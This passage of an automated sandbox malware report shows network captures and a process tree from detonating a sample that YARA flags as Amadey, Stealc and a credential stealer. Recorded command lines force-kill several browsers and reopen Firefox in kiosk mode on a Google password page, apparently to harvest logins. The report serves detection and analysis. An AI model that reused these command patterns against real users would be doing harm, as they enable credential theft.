2024-11-23 17:23:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:05 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0b679675-f01e-005d-336b-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172305Z-178bfbc474bbbqrhhC1NYCvw74000000050g000000001huv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:05 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:05 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:06 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 5b744128-c01e-00a1-5b39-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172306Z-15b8b599d88wk8w4hC1TEB14b8000000037000000000epag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:07 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:08 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8abb671b-d01e-0049-4b0c-3de7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172308Z-178bfbc474b9xljthC1NYCtw9400000004q0000000009c39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:08 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Target ID:	0
Start time:	12:21:06
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa10000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1786321241.0000000000A11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1746120844.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:21:09
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf40000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1816150110.0000000000F41000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1775730528.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:21:09
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf40000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1779970897.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1821078306.0000000000F41000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:22:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf40000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2282068353.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:22:12
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"
Imagebase:	0x720000
File size:	1'857'536 bytes
MD5 hash:	F119A5326D7EF739B4B499912B709BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:22:21
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe"
Imagebase:	0xe00000
File size:	1'787'392 bytes
MD5 hash:	447B432C2A27E71E1053DA4D6D520222
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2491430724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2532205314.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:22:24
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"
Imagebase:	0x720000
File size:	1'857'536 bytes
MD5 hash:	F119A5326D7EF739B4B499912B709BC8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:22:28
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"
Imagebase:	0xd30000
File size:	922'624 bytes
MD5 hash:	B607F667B23F2E1A00ED1246555F3F09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:22:28
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:22:28
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:22:31
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:22:31
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:22:32
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"
Imagebase:	0x720000
File size:	1'857'536 bytes
MD5 hash:	F119A5326D7EF739B4B499912B709BC8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2817573119.0000000000552000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2748385585.000000000054D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2681910564.0000000000548000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2779060726.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2688478544.0000000000548000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2716869243.000000000054C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2747176932.0000000000549000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2717394280.0000000000548000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2752550662.000000000054D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2716099922.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2751030367.000000000054D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2683265747.000000000054B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2754496805.000000000054D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.2719643130.0000000000548000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	12:22:33
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:22:33
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:22:33
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:22:34
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {838a75ce-a8ab-4e8d-98ff-05e12ade437a} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 20997e70110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:22:38
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4544 -parentBuildID 20230927232528 -prefsHandle 4536 -prefMapHandle 4532 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {303833e2-eb8f-43ab-bbd8-be87a075b7b8} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 209a9770510 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:22:38
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe"
Imagebase:	0x5a0000
File size:	2'784'256 bytes
MD5 hash:	38F5CD89E8B865100E7F123B9E84E2A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:22:41
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe"
Imagebase:	0x830000
File size:	1'787'392 bytes
MD5 hash:	447B432C2A27E71E1053DA4D6D520222
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2696170160.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2795135342.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2788626873.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:22:49
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"
Imagebase:	0xd30000
File size:	922'624 bytes
MD5 hash:	B607F667B23F2E1A00ED1246555F3F09
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	12:22:49
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:22:49
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:22:58
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	12:22:58
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1952,i,12186298689786786715,13601563027851220895,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	12:23:02
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:23:02
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1996,i,15798700704678858623,3005821271752402680,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
